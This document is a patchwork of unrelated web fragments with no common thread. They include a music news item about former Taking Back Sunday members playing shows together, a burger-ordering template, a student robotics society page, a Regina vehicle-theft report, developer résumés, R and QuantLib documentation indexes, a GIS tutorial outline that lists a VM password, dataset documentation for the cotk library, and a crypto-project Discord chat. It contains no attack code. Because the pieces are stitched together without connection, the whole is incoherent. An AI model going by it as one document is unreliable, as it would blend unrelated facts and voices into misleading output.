by Andrew SacherLast year, Taking Back Sunday parted ways with Eddie Reyes, who founded the band in 1999 (and was in Mind Over Matter, The Movielife, and other Long Island bands before that), and then Eddie started the new band Fates Got A Driver. Earlier this year, Where You Want To Be/Louder Now-era guitarist/secondary vocalist (and former Breaking Pangaea frontman) Fred Mascherino re-activated his project The Color Fred with their first new song in a decade and some shows. Now, The Color Fred and Fates Got A Driver are set to play some shows together, and Fred and Eddie will be doing their own version of ‘Emo Night’ with DJ sets and karaoke at the shows.
“The Color Fred played an Emo Night that our friend Jon runs in Pennsylvania and we had a blast,” Fred says. “He was spinning all of the bands that Eddie and I use to play with, so we thought it would be fun to do it in other places and have Eddie’s band help make it even more fun.’
The shows happen at Easton, PA’s One Center Square on January 23, Asbury Park, NJ’s Wonder Bar on January 24, and Amityville, NY’s Amityville Music Hall on January 25.
Listen to the new Color Fred single, a single off Fates Got A Driver’s debut EP, and a video of Fred-era Taking Back Sunday, below.


Team Registration
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Välkommen till BurgerOnline
Select burger
This is where you choose your burger
- This has {{menuItem.kCal}} kCal
- Contains lactose
- Contains gluten Add to order
{{menuItem.name}}
Customer information
This is where you provide neccessary information
This is where you choose your burger
This is where you provide neccessary information


Our society was started by a group of EECS and SEMS students who were passionate about Robotics and wanted to have a place to share that interest with the world.
We hosted our first round of successful Robotics 101 sessions
Hosted a conference on Soft Robotics Alongside the Advanced Robotics Centre at QMUL
The first internal Robot Wars was held within the Robotics Society
President
Vice President
Treasurer
Events Coordinator


Suspects charged over rash of thefts from vehicles
A 31-year-old woman and a 35-year-old man have been charged with a string of thefts from vehicles around the General Hospital over the summer.
by Regina Leader-PostTwo people suspected of stealing from vehicles parked in the area around Regina’s General Hospital have been charged.
Police reported Monday that the pair, a 31-year-old woman and a 35-year-old man, were picked up after what a media release described as “a lengthy investigation” following the recovery of several pieces of allegedly stolen property.
Officers reportedly found the stolen goods after raiding a home on the 1300 block of Victoria Avenue on Oct. 24. Several items recovered from the home matched reports filed in at least a dozen instances dating back to July where vehicles were broken into.
Police said the thefts generally involved the front windows of vehicles being smashed, with property removed from inside. Some of the stolen items were then allegedly sold at pawn shops, with the suspects posing as legitimate owners.
The investigation is continuing, but so far both suspects are facing several counts each of fraud under $5,000, possession of property obtained by crime and trafficking in property obtained by crime.
The woman charged in connection with the case is also facing two counts of theft under $5,000.
Both suspects are due to appear in Regina Provincial Court on Dec. 12.


Your browser doesn't appear to support the HTML5
<canvas>
element.
Your browser doesn't appear to support the HTML5
<video>
element.


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Kindly respond by January 8, 2022. We look forward to celebrating with you!

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Passionate frontend web developer eager to learn new technologies and master
best practices in the field. Very hard working and highly motivated individual.
Experience in developing frontend and backend web applications with several
personal projects as a showcase.
Over 10 years of work experience on positions including responsibilities,
team work and problem-solving.
,,DVD Rental’’ is a web application with a jQuery frontend and Express.js
backend. The backend uses the PostgreSQL sample database ,,DVD rental”.
The user can search database tables and view all columns and rows of a table
with a search functionality by each column value. There are order buttons in the
table header to order by descending and ascending value. Each row at the end
has an edit button that shows form inputs with validation, placed inside a
bootstrap modal. The user can update and save values to the database.


Baked goods like you never had beffore
We are well establist in this field since
Mon to Sun: 7:30 am - 4:30 pm (DUE TO Covid-19)
Mon to sun : 7:30 am - 9:00 pm
Phone : +91<PHONE_NUMBER>
leelabakerykallara.aji@gmail.com


RT @qrush: Wrote a deep response to @npmjs' "Legal Stuff" and CoC: https://groups.google.com/d/msg/rubygems-org/jixzTASyA6Q/GK0on52ZsMYJ Would appreciate a read.
8/3/2014, 9:50:20 PM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @qrush: Wrote a deep response to @npmjs' "Legal Stuff" and CoC: https://groups.google.com/d/msg/rubygems-org/jixzTASyA6Q/GK0on52ZsMYJ Would appreciate a read.
8/3/2014, 9:50:20 PM
Favs: 0
Retweets: 0
link


- Professional
- Internships
- Academic
- Personal
Ubisoft Club
Front-end app development with AngularJS, Ionic, Grunt and Cordova stack. Implemented and designed archtecture for major UI features.
Webtool to track in game session matchmaking info and geo locations, sending commands and configs back in game.
front-end using Jinja2 for Python, back-end in Python and C# and UbiAdmin REST APIs. Map API using OpenLayers 3. In game developement in C++.
A new Light-weight Anti-malware product under development from Intel Security. Worked on Cross-platform Prototype UI with ANgularjs and Cordova webstack.
McGIll CS Department Website
Web Developement for revamping McGill University Computer Science Website, Providing Information regarding students, courses, research area, faculty & labs, etc. Constructed various forms & information registration for administrative purposes.
Framework Using Django + Boostrap 3. Logo and all illustrations with Adobe Illustrator.
GOOMS! (Get Out Of My Space!)
Nominated for: Best Presentation, Best Artistic Direction, Best Marketing and Best PrototypeColorful Interplanetary battle, explosive and desorienting, show your agility, sense of strategy and decision! UI+HUD design & logic using C# and JavaScript With Unity. Click here to see the details about this competition.
Spaceaur - 2017
This is a Flikr-like app that fetches NASA images and lets you view, sort and search through them. Used as a personal project to learn and build something in React under 5 days.
View on GithubHearthBuilder - 2014
HearthBuilder is an helper app intended to help players of the popular online card game Hearthstone: Heroes of Warcraft towards the Arena Mode.
It allows users to make guided choice on deck building with help of the AI. The scores of cards are calculated based on mana curve, card statistics and a preselected tier list. Supports URL perssistance that could allow sharing and modifying of the current deck at any point. Registered user can also save their Arena deck and track its stats.
Frontend using Angular.js, backend PHP with CodeIgniter, MySQL with PHPMyAdmin.


{% spaceless %} {% load i18n profile_tags static %}
It looks like @noisy screwed up something...
{% if request.sentry.id %}Crash report was already sent to him. It looks like he already have a clue what the problem might be, but you can help him by telling what just happen from your perspective.
{% else %}Usually in cases like that, crash-report is automatically sent directly to @noisy. But this time he screwed up something so badly, that even crash-raporting-tool failed :(
Could you do him a big favour and contact him directly on steemit.chat, to tell what just happen from your perspective?


| $-method | The Script class and elements |
| addRemoveIntermediates | Determine the code block after which a variable can be explicitly removed |
| AnnotatedScript-class | The Script class and elements |
| applyhandlerfactory | Specifying custom processing behavior, Function handlers and handler factories |
| assignfunhandler | Specifying custom processing behavior, Function handlers and handler factories |
| assignhandler | Specifying custom processing behavior, Function handlers and handler factories |
| asVarName | asVarName |
| coerce-method | The Script class and elements |
| coerce-method | Compute and plot life cycle of variables in code |
| coerce-method | Create a Script object that re-reads the original file as needed |
| colonshandler | Specifying custom processing behavior, Function handlers and handler factories |
| counthandler | Specifying custom processing behavior, Function handlers and handler factories |
| datahandler | Specifying custom processing behavior, Function handlers and handler factories |
| defaultFuncHandlers | Specifying custom processing behavior, Function handlers and handler factories |
| defhandler | Specifying custom processing behavior, Function handlers and handler factories |
| dollarhandler | Specifying custom processing behavior, Function handlers and handler factories |
| filterhandler | Specifying custom processing behavior, Function handlers and handler factories |
| findWhenUnneeded | Determine the code block after which a variable can be explicitly removed |
| forhandler | Specifying custom processing behavior, Function handlers and handler factories |
| formulahandler | Specifying custom processing behavior, Function handlers and handler factories |
| fullnsehandler | Specifying custom processing behavior, Function handlers and handler factories |
| funchandler | Specifying custom processing behavior, Function handlers and handler factories |
| functionhandlers | Specifying custom processing behavior, Function handlers and handler factories |
| funshandler | Specifying custom processing behavior, Function handlers and handler factories |
| getDependsThread | Compute which code blocks in a script are inputs to define a variable |
| getDependsThread-method | Compute which code blocks in a script are inputs to define a variable |
| getDetailedTimelines | Compute and plot life cycle of variables in code |
| getExpressionThread | Find the sequence of expressions needed to get to a certain point in the code |
| getInputs | Get input and output variables and literals from R expressions |
| getInputs-method | Get input and output variables and literals from R expressions |
| getInputs-method | Create a Script object that re-reads the original file as needed |
| getPropagateChanges | Determine which expressions to update when a variable changes |
| getSectionDepends | Determine dependencies for code blocks |
| getVariableDepends | Determine dependencies for code blocks |
| getVariables | Get the names of the variables used in code |
| getVariables-method | Get the names of the variables used in code |
| groupbyhandler | Specifying custom processing behavior, Function handlers and handler factories |
| guessTaskType | Guess the type of high-level task of a code block |
| highlightCode | Display R code with highlighting of variables, links to functions and packages |
| historyAsScript | Convert R interactive history to a Script object |
| inputCollector | Create customized input/output collector for use in getInputs |
| libreqhandler | Specifying custom processing behavior, Function handlers and handler factories |
| makeCallGraph | Create a graph representing which functions call other functions |
| makeCallGraph-method | Create a graph representing which functions call other functions |
| makeTaskGraph | Create a graph connecting the tasks within a script |
| makeVariableGraph | Create a graph describing the relationships between variables in a script |
| noophandler | Specifying custom processing behavior, Function handlers and handler factories |
| nseafterfirst | Specifying custom processing behavior, Function handlers and handler factories |
| nsehandlerfactory | Specifying custom processing behavior, Function handlers and handler factories |
| nseonlyhandlerfactory | Specifying custom processing behavior, Function handlers and handler factories |
| pipehandler | Specifying custom processing behavior, Function handlers and handler factories |
| plot.DetailedVariableTimeline | Compute and plot life cycle of variables in code |
| readAnnotatedScript | Read the code blocks/chunks from a document |
| readScript | Read the code blocks/chunks from a document |
| readScript-method | Read the code blocks/chunks from a document |
| rmhandler | Specifying custom processing behavior, Function handlers and handler factories |
| runUpToSection | Evaluate the code blocks up to a particular section of a document |
| Script-class | The Script class and elements |
| scriptInfo | Get input and output variables and literals from R expressions |
| ScriptInfo-class | The Script class and elements |
| ScriptNode-class | The Script class and elements |
| ScriptNodeInfo-class | The Script class and elements |
| separateExpressionBlocks | Convert a script into individual top-level calls |
| sourceVariable | Evaluate code in document in order to define the specified variables |
| splitRedefinitions | Divide a script into separate lists of code based on redefinition of a variable |
| spreadhandler | Specifying custom processing behavior, Function handlers and handler factories |
| summarize_handlerfactory | Specifying custom processing behavior, Function handlers and handler factories |
| updatingScript | Create a Script object that re-reads the original file as needed |
| [-method | The Script class and elements |


fun uptoWithSelector(vararg candidates: String): Pair<String, String>
Gets string upto the specified number of selectors. Returns a Pair with the text and selector first used to collect the text.


Explanation of variational autoencoders.
I am a Research Engineer at Artificial Intelligence Programme (A*AI) under A*STAR, Singapore. I have varied interests including but not limited to programming, machine learning techniques and artificial intelligence. Specifically, I find working on imparting human capabilities of understanding language to machines interesting, and hence have been involved in several research projects at the nexus of natural language processing and machine learning.
Currently, I am more focus on natural language processing tasks such as machine comprehension, neural sequence labeling, commonsense reasoning, and also any other attractive tasks involved machine learning techniques.
A copy of my CV: [English version | Chinese version].
WHAT I KNOW
Programming Languages: Java, Python, C/C++ (Prior Exp), Matlab (Prior Exp), Scala (Elementary).
Web Technologies: HTML, JavaScript, CSS, jQuery.
Tools & Platforms: Mac OS X, Linux, Windows, Google Cloud Platform, Android (Prior Exp).
Frameworks: TensorFlow, Keras, DL4J, Stanford NLP, NLTK, Spark, ConceptNet, Neo4J and etc.
Research Engineer | Artificial Intelligence Programme (A*AI)
Science and Engineering Institutes (SCEI) at A*STAR, Singapore -- June 2018 - Present
Research Engineer | Social & Cognitive Computing (SCC)
Institute of High Performance Computing (IHPC) at A*STAR, Singapore -- July 2016 - May 2018
Collaboration with Temasek Laboratory at Nanyang Technological University (TL@NTU), Singapore.
M.Sc. in Communications Eng., 2015-2016
Nanyang Technological University, Singapore
B.Sc. in Communications Eng., 2011-2015
Dalian University of Technology, China
A bidirectional recurrent neural network with attention mechanism and CRF for punctuation restoration and sentence boundary detection in unsegmented text.
A fast and accurate deep learning based approach for common sequence labeling tasks such as Part Of Speech (POS) Tagging, Chunking, Named Entity Recognition (NER) and etc.
Action hierarchy and Result-Manner relation extraction for commonsense reasoning and natural language processing.
A human-inspired framework for commonsense knowledge representation and reasoning.
A novel and effective method based on underwater optical model for underwater object visibility enhancement.
An improved and effective method for image enhancement based on retinex theory and dual-tree complex wavelet transform techniques.
Tutorial about how to update multiple tensors using tensorflow scan function.
Some useful commands and tips to raise efficiency under Mac OS and Linux, keep updating!
Outstanding Graduate of Dalian University of Technology in 2015
Jun. 2015 | Dalian University of Technology, China | Certificate
Learning Excellence Award (Second Prize) in academic year of 2013~2014
Oct. 2014 | Dalian University of Technology, China | Certificate
Research Assistant, "Multi-terminal based Family Remote Control System" from Sep. 2013 to Sep. 2014
Sep. 2014 | Dalian University of Technology, China | Certificate
Teaching Assistant at Computer Installation and Test Laboratory, Sep. 2011 - Mar. 2014
Sep. 2014 | Dalian University of Technology, China | Certificate
2013' Undergraduate Inovation and Entrepreneurship Training Program (National Level) "Mobile-Payment System Based on NFC Technology and QR Code"
Mar. 2014 | Dalian University of Technology, China | Certificate
Graduated from Electrical Innovation and Practice Laboratory at School of Innovation Experiment (3 years)
Mar. 2014 | Dalian University of Technology, China | Certificate
First Prize in 2013 Dalian University of Technology Freescale Intelligent Car Contest
Nov. 2013 | Dalian University of Technology, China | Certificate
Second Prize in 2013 “Higher Education Press” Cup College Student Mathematical Modeling Contest (National Level)
Nov. 2013 | Dalian University of Technology, China | Certificate
Technological Innovation Award in academic year of 2012~2013
Oct. 2013 | Dalian University of Technology, China | Certificate
First Prize in 2013 “Higher Education Press” Cup College Student Mathematical Modeling Contest (Provincial Level)
Oct. 2013 | Dalian University of Technology, China | Certificate
Second Prize in 2013 ACM/ICPC The Third Dalian City Programing Contest
Apr. 2013 | Dalian University of Technology, China | Certificate
Technological Innovation Award in academic year of 2011~2012
Oct. 2012 | Dalian University of Technology, China | Certificate
Learning Excellence Award (Second Prize) in academic year of 2011~2012
Oct. 2012 | Dalian University of Technology, China | Certificate
First Prize in 2012 Dalian City the 21st College Student Advanced Mathematics Contest
Jun. 2012 | Dalian University of Technology, China | Certificate
Third Prize in 2012 ACM/ICPC The Second Dalian City Programing Contest
Apr. 2012 | Dalian University of Technology, China | Certificate


|
QuantLib: a free/open-source library for quantitative finance
Fully annotated sources - version 1.30
|
Files | |
| file | armijo.cpp [code] |
| file | armijo.hpp [code] |
| Armijo line-search class. | |
| file | bfgs.cpp [code] |
| file | bfgs.hpp [code] |
| Broyden-Fletcher-Goldfarb-Shanno optimization method. | |
| file | conjugategradient.cpp [code] |
| file | conjugategradient.hpp [code] |
| Conjugate gradient optimization method. | |
| file | constraint.cpp [code] |
| file | constraint.hpp [code] |
| Abstract constraint class. | |
| file | costfunction.hpp [code] |
| Optimization cost function class. | |
| file | differentialevolution.cpp [code] |
| file | differentialevolution.hpp [code] |
| Differential Evolution optimization method. | |
| file | endcriteria.cpp [code] |
| file | endcriteria.hpp [code] |
| Optimization criteria class. | |
| file | goldstein.cpp [code] |
| file | goldstein.hpp [code] |
| Goldstein and Price line-search class. | |
| file | leastsquare.cpp [code] |
| file | leastsquare.hpp [code] |
| Least square cost function. | |
| file | levenbergmarquardt.cpp [code] |
| file | levenbergmarquardt.hpp [code] |
| Levenberg-Marquardt optimization method. | |
| file | linesearch.cpp [code] |
| file | linesearch.hpp [code] |
| Line search abstract class. | |
| file | linesearchbasedmethod.cpp [code] |
| file | linesearchbasedmethod.hpp [code] |
| Abstract optimization method class. | |
| file | lmdif.cpp [code] |
| file | lmdif.hpp [code] |
| wrapper for MINPACK minimization routine | |
| file | method.hpp [code] |
| Abstract optimization method class. | |
| file | problem.hpp [code] |
| Abstract optimization problem class. | |
| file | projectedconstraint.hpp [code] |
| Projected constraint. | |
| file | projectedcostfunction.cpp [code] |
| file | projectedcostfunction.hpp [code] |
| Cost function utility. | |
| file | projection.cpp [code] |
| file | projection.hpp [code] |
| Parameter projection. | |
| file | simplex.cpp [code] |
| file | simplex.hpp [code] |
| Simplex optimization method. | |
| file | simulatedannealing.hpp [code] |
| Numerical Recipes in C (second edition), Chapter 10.9, with the original exit criterion in f(x) replaced by one in x (see simplex.cpp for a reference to GSL concerning this) | |
| file | spherecylinder.cpp [code] |
| file | spherecylinder.hpp [code] |
| Find closest point of the intersection of a sphere and cylinder to a given point. | |
| file | steepestdescent.cpp [code] |
| file | steepestdescent.hpp [code] |
| Steepest descent optimization method. | |


--- layout: page title: About header-img: "img/about-bg.png" ---
International Educator turned Full-stack Web Developer // Born and raised in America // Lived and worked in South Korea and Cambodia


## QGIS
Development started in 2002 by Gary Sherman
peculiarities: GUI / Plugins / iPython interface
License: GNU GPL
current stable: 2.8.2, upcoming: 2.10
platforms: GNU/Linux - OS X - MS Windows
web: [http://www.qgis.org](http://www.qgis.org)
## GRASS GIS
Development started in 80’s - USA CERL
peculiarities: GUI / Plugins / Scripting: bash, python
License: GNU GPL
current stable version: 7.0
platforms: GNU/Linux - OS X - MS Windows
website: [http://grass.osgeo.org](http://grass.osgeo.org)
GRASS-ISIS3 integration 2/2
ISIS commands into GRASS7 GUI, by Yann Chemin
Goals of this tutorial
- Have the software installed - understand the licensing system
- Have the data imported into the software, and then:
- visualize data
- colorize a dtm
- process a dtm
### GRASS and QGIS compared
| Feature | QGIS | GRASS |
| ------------- |:-------------:| -----:|
| GUI | yes | yes |
| CLI | python shell | yes |
| Planetary CRS/SRS | yes | yes |
| on-the-fly re-projection | yes | no |
| bash scripting | no | yes |
| python scripting | yes | yes |
| Import/Export | [GDAL](http://www.gdal.org) | GDAL+internal |
### Software Installation
* Licensing: meaning
* Platform support
* VMs
* (OSGeo live)[http://live.osgeo.org]
* (ESAC GIS 2015 VM - QGis and data: password: hrsc0001)[http://gislab.esac.esa.int/esacgis2015/qgis-vm.tar]
Qgis
GRASS GIS (v7.0)


Resources¶
Classes like dataloder.Dataloader
usually need file_id
to locate
resources. The string will be passed to _utils.file_utils.get_resource_file_path()
or
_utils.file_utils.import_local_resources()
.
The format of file_id
is resources://name[@source][#processor]
,
where source
and processor
are optional.
name
can be:- A string start with “resources://”, indicating predefined resources.
- A string start with “https://” indicating online resources.
- A string indicating local path, absolute or relative to cwd.
source
only works whenname
indicating a predefined resources. It has to be one of a source defined for each resources, see the following sections for reference. If not specified, a default source will be chosen (the first one in the list showing source).preprocessor
is necessary whenname
is not a predefined resources. It has to be one of the subclass of_utils.file_utils.ResourceProcessor
.
Examples:
| file_id | name | source | processor |
|---|---|---|---|
| resources://MSCOCO | MSCOCO | default(amazon) | Default(MSCOCOResourceProcessor) |
| resources://MSCOCO@tsinghua | MSCOCO | tsinghua | Default(MSCOCOResourceProcessor) |
| https://cotk-data.s3-ap-northeast-1.amazonaws.com/mscoco.zip#MSCOCO | MSCOCO | None | MSCOCOResourceProcessor |
| ./mscoco.zip#MSCOCO | MSCOCO | None | MSCOCOResourceProcessor |
Note
If you already have the resources data at local, but cotk
didn’t notice them and
try to download again, you can use the following command to import local resources into cache.
cotk import <file_id> <file_path>
where file_path
is the path to the local resource. For example:
cotk import resources://MSCOCO ./MSCOCO.zip
Word Vector¶
Glove50d¶
- name:
Glove50d
- processor:
_utils.resource_processor.Glove50dResourceProcessor
- source:
stanford
- used by:
wordvector.Glove
- Introduction
This is a file containing vector representation for words pretrained by GloVe, which is an unsupervised learning algorithm for obtaining vector representations for words. Training is performed on aggregated global word-word co-occurrence statistics from a corpus, and the resulting representations showcase interesting linear substructures of the word vector space.
This file is a 50 dimension version from
glove.6B
, which is trained on Wikipedia2014 and Gigaword5.- Statistic
Property Dimension 50 Vocabulary Size 400,000 - Reference
[1] GloVe: Global Vectors for Word Representation. https://nlp.stanford.edu/projects/glove/
[2] Pennington J, Socher R, Manning C. Glove: Global vectors for word representation //Proceedings of the 2014 conference on empirical methods in natural language processing (EMNLP). 2014: 1532-1543.
Glove100d¶
- name:
Glove100d
- processor:
_utils.resource_processor.Glove100dResourceProcessor
- source:
stanford
- usage:
wordvector.Glove
- Introduction
- This is a file containing vector representation for words pretrained by GloVe.
- This file is a 100 dimension version from
glove.6B
.- Refer to Glove50d for more information and references.
- Statistic
Property Dimension 100 Vocabulary Size 400,000
Glove200d¶
- name:
Glove200d
- processor:
_utils.resource_processor.Glove200dResourceProcessor
- source:
stanford
- usage:
wordvector.Glove
- Introduction
- This is a file containing vector representation for words pretrained by GloVe.
- This file is a 200 dimension version from
glove.6B
.- Refer to Glove50d for more information and references.
- Statistic
Property Dimension 200 Vocabulary Size 400,000
Glove300d¶
- name:
Glove300d
- processor:
_utils.resource_processor.Glove300dResourceProcessor
- source:
stanford
- usage:
wordvector.Glove
- Introduction
- This is a file containing vector representation for words pretrained by GloVe.
- This file is a 300 dimension version from
glove.6B
.- Refer to Glove50d for more information and references.
- Statistic
Property Dimension 300 Vocabulary Size 40,000
Glove50d_small¶
- name:
Glove50d_small
- processor:
_utils.resource_processor.Glove50dResourceProcessor
- source:
amazon
- usage:
wordvector.Glove
- Introduction
- This is a file containing vector representation for words pretrained by GloVe.
- This file is a 50 dimension version from
glove.6B
and only contains the most frequency 40,000 words.- Refer to Glove50d for more information and references.
- Statistic
Property Dimension 50 Vocabulary Size 40,000
Datasets¶
MSCOCO¶
- name:
MSCOCO
- processor:
_utils.resource_processor.MSCOCOResourceProcessor
- source:
amazon
,tsinghua
- usage:
dataloader.MSCOCO
- Introduction
MSCOCO is a new dataset gathering images of complex everyday scenes containing common objects in their natural context. We neglect the images and just employ the corresponding caption.
The original data is 2017 Train/Val annotations [241MB] . We use the same train set as original data, but split the val set into dev(odd-numbered sentences) and test set(even-numbered sentences). We extract the caption and use
nltk.tokenize.word_tokenize
for tokenization. We also capitalize each sentence and add full stop to it if it does not have one.- Statistic
Property Train Dev Test Numbers of Sentences 591,753 12,507 12,507 Minimum length of Sentences 8 10 10 Maximum length of Sentences 50 48 50 Average length of Sentences 13.55 13.55 12.52 Std Deviation of Length of Sentences 2.51 2.44 2.44 Vocabulary Size 33,241 5,950 5,869 Frequency Vocabulary Size (times>=10) 8,064 1,050 1,034 - Reference
[1] COCO: Common Objects in Context. http://cocodataset.org
[2] Chen X, Fang H, Lin T Y, et al. Microsoft COCO Captions: Data Collection and Evaluation Server. arXiv:1504.00325, 2015.
MSCOCO_small¶
- name:
MSCOCO_small
- processor:
_utils.resource_processor.MSCOCOResourceProcessor
- source:
amazon
- usage:
dataloader.MSCOCO
OpenSubtitles¶
- name:
OpenSubtitles
- processor:
_utils.resource_processor.OpenSubtitlesResourceProcessor
- source:
amazon
,tsinghua
- usage:
dataloader.OpenSubtitles
- Introduction
- Opensubtitle dataset is collected from movie subtitles. To construct this dataset for single-turn dialogue generation, we follow [3] and regard a pair of adjacent sentences as one dialogue turn. We set the former sentence as a post and the latter one as the corresponding response. We remove the pairs whose lengths are extremely long or short, and randomly sample 1,144,949/20,000/10,000 pairs as our train/dev/test set. The dataset is tokenized and all the tokens are in lower-case.
- Statistic
Property Train Dev Test Numbers of Post/Response Pairs 1,144,949 20,000 10,000 Average Length (Post/Response) 9.08/9.10 9.06/9.13 9.04/9.05 Vocabulary Size 104,683 18,653 12,769 Frequency Vocabulary Size (times>=10) 31,039 2,030 1,241 - Reference
[1] OpenSubtitles. http://opus.nlpl.eu/OpenSubtitles.php
[2] J. Tiedemann, 2016, Finding Alternative Translations in a Large Corpus of Movie Subtitles. In Proceedings of the 10th International Conference on Language Resources and Evaluation (LREC 2016)
[3] Vinyals O, Le Q. A Neural Conversational Model. arXiv preprint arXiv:1506.05869, 2015.
OpenSubtitles_small¶
- name:
OpenSubtitles_small
- processor:
_utils.resource_processor.OpenSubtitlesResourceProcessor
- source:
amazon
- usage:
dataloader.OpenSubtitles
- Introduction
- The data is random uniformed sampled from OpenSubtitles.
- Refer to OpenSubtitles for more information and references.
- Statistic
Property Train Dev Test Numbers of Post/Response Pairs 11,449 2,000 1,000 Vocabulary Size 13,984 4,661 3,079 Frequency Vocabulary Size (times>=10) 1,333 367 211
SST¶
- name:
SST
- processor:
_utils.resource_processor.SSTResourceProcessor
- source:
stanford
- usage:
dataloader.SST
- Introduction
Stanford Sentiment Treebank is the first corpus with fully labeled parse trees that allows for a complete analysis of the compositional effects of sentiment in language.
We remain the original split of dataset. The dataset is tokenized and contains capitalized letters.
- Statistic
Property Train Dev Test Numbers of Sentences 8,544 1,101 2,210 Average Length 19.14 19.32 19.19 Vocabulary Size 16,586 5,043 7,934 Frequency Vocabulary Size (times>=10) 1,685 232 441 - Reference
[1] Recursive Deep Model for Sematic Compositionality over a Sentiment Treebank. https://nlp.stanford.edu/sentiment/
[2] Socher R, Perelygin A, Wu J, et al. Recursive deep models for semantic compositionality over a sentiment treebank //Proceedings of the 2013 conference on empirical methods in natural language processing. 2013: 1631-1642.
SwitchboardCorpus¶
- name:
SwitchboardCorpus
- processor:
_utils.resource_processor.SwitchboardCorpusResourceProcessor
- source:
amazon
- usage:
dataloader.SwitchboardCorpus
- Introduction
Switchboard is a collection of about 2,400 two-sided telephone conversations among 543 speakers (302 male, 241 female) from all areas of the United States. A computer-driven robot operator system handled the calls, giving the caller appropriate recorded prompts, selecting and dialing another person (the callee) to take part in a conversation, introducing a topic for discussion and recording the speech from the two subjects into separate channels until the conversation was finished. About 70 topics were provided, of which about 50 were used frequently. Selection of topics and callees was constrained so that: (1) no two speakers would converse together more than once and (2) no one spoke more than once on a given topic.
We introduce the data processed by Zhao, Ran and Eskenazi[4], which construct the set
multi_ref
for one-to-many dialog evaluation (One context, multiple responses).multi_ref
was constructed by extracting multiple responses for single context with retrieval method and annotation on the other test set. For the details, please refer to [4].We used their training set, dev set and test set. That is, capitalization, tokenization, splits of dataset and any other aspects of our data are the same as theirs (in their version, utterances are lowercase and are not tokenized).
However, there are two differences between our data with theirs:
- We ensure that any two consecutive utterances come from different speakers, by concatenating the original consecutive utterances from the same speakers during pre-processing of
dataloader.SwitchboardCorpus
. (This is because we want to be compatible with other multi-turn dialog set.)- To avoid the gap between training and test, we have to remove some samples from
multi_ref
, where the target speaker is the same as the last one in the context.- Statistic
Property Train Dev Test Numbers of Sessions 2,316 60 62 Minimum Number of Turns (per session) 3 19 8 Maximum Number of Turns (per session) 190 144 148 Average Number of Turns (per session) 59.47 58.92 58.95 Std Deviation of Number of Turns 27.50 26.91 32.43 Minimum Length of Sentences 3 3 3 Maximum Length of Sentences 401 185 333 Average Length of Sentences 19.03 19.12 20.15 Std Deviation of Number of Sentences 20.25 19.65 21.59 Vocabulary Size 24,719 7,704 6,203 Frequency Vocabulary Size (times>=10) 9,508 1,021 1,095 - Reference
[1] Switchboard-1 release 2. https://catalog.ldc.upenn.edu/LDC97S62
[2] John J G and Edward H. Switchboard-1 release 2. Linguistic Data Consortium, Philadelphia 1997.
[3] NeuralDialog-CVAE. https://github.com/snakeztc/NeuralDialog-CVAE
[4] Zhao, Tiancheng and Zhao, Ran and Eskenazi, Maxine. Learning Discourse-level Diversity for Neural Dialog Models using Conditional Variational Autoencoders. ACL 2017.
SwitchboardCorpus_small¶
- name:
SwitchboardCorpus_small
- processor:
_utils.resource_processor.SwitchboardCorpusResourceProcessor
- source:
amazon
- usage:
dataloader.SwitchboardCorpus
- Introduction
- The data is random uniformed sampled from SwitchboardCorpus.
- Refer to SwitchboardCorpus for details and references.
- Statistic
Property Train Dev Test Numbers of Sessions 463 12 12 Vocabulary Size 13,235 5,189 4,729 Frequency Vocabulary Size (times>=10) 3,923 341 317
Ubuntu¶
- name:
Ubuntu
- processor:
_utils.resource_processor.UbuntuResourceProcessor
- source:
amazon
,tsinghua
- usage:
dataloader.UbuntuCorpus
- Introduction
Ubuntu Dialogue Corpus 2.0 is a dataset containing a mass of multi-turn dialogues. The dataset has both the multi-turn property of conversations in the Dialog State Tracking Challenge datasets, and the unstructured nature of interactions from microblog services such as Twitter.
- We build the dataset using the ubuntu-ranking-dataset-creator[1], without tokenization, lemmatization or stemming.
- The dataset contains capital character. The positive example probability is set to 1.0 for training set. The examples for training/dev/test sets are set to 1,000,000/19,560/18,920 as default. Other settings are default.
- Statistic
Property Train Dev Test Numbers of Sessions 1,000,000 19,560 18,920 Minimum Number of Turns (per session) 3 3 3 Maximum Number of Turns (per session) 19 19 19 Average Number of Turns (per session) 4.95 4.79 4.85 Std Deviation of Number of Turns 2.97 2.79 2.85 Minimum Length of Sentences 2 2 2 Maximum Length of Sentences 977 343 817 Average Length of Sentences 17.98 19.40 19.61 Std Deviation of Number of Sentences 16.26 17.25 17.94 Vocabulary Size 576,693 47,288 47,847 Frequency Vocabulary Size (times>=10) 23,498 2,568 2,565 - Reference
[1] Ubuntu Dialogue Corpus v2.0. https://github.com/rkadlec/ubuntu-ranking-dataset-creator
[2] R. Lowe, N. Pow, I. Serban, and J. Pineau. The ubuntu dialogue corpus: A large dataset for research in unstructured multi-turn dialogue systems. In Special Interest Group on Discourse and Dialogue (SIGDIAL), 2015a.
Ubuntu_small¶
- name:
Ubuntu_small
- processor:
_utils.resource_processor.UbuntuResourceProcessor
- source:
amazon
- usage:
dataloader.UbuntuCorpus


EMU Interior Design Limited is an independent design consultancy who specialise in the design and delivery of inspirational education and workplace interiors.
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I like integration with his roblox game...3d card game
Let me look at our texts...brb
Hearthstone...in 3d... he has the cards built
It's pretty BA for a 15yo
blackjok3r15-Mar-19 04:15 AM
copyt pasted some code around to make iguana fetch its init JSON on each dPoW round.
Seems to work. Might slow it down a tiny bit, but now we no longer need to restart iguana to change era.
Which is fine, as long as it doesnt crash ...
So @Mylo we need to add you and change era to test this.
kmdkrazy15-Mar-19 04:17 AM
I'll ask him about modding minecraft to blockchain.......he wants free servers.....maybe you guys can help....hes a cheap kid and doesnt want to spend dads money
kmdkrazy15-Mar-19 04:28 AM
I think a perfect math score on SAT in 10th grade is a good start.....we will see next week.
kmdkrazy15-Mar-19 05:06 AM
I must be a WORM @Alright
I never change and I am immutable
ComputerGenie 👴👴👴15-Mar-19 05:20 AM
I think there needs to be a cc-dumbass channel... where people that were smart 30 years ago are now proven ignrorant....over and over again...
Why must I now be relegated to only 1 channel?
kmdkrazy15-Mar-19 05:31 AM
You're right!!. ..we can be dumb on ALL channels!! -- but I need a channel to ask really dumb questions on....cc-general is still to smart for me
ComputerGenie 👴👴👴15-Mar-19 05:32 AM
lol
kmdkrazy15-Mar-19 05:34 AM
Vote for #cc-dumbass
1
blackjok3r15-Mar-19 05:36 AM
might have just solved the iguana memory leak ... but not 100% sure. I removed all the other loops that dpow doesnt need and put it into its own loop. So now iguana ONLY does dPoW
this will be a good start. There was possible that it was creating a new dp block every single round, and that was never freed...
1
1
ComputerGenie 👴👴👴15-Mar-19 05:37 AM
So now iguana ONLY does dPoW
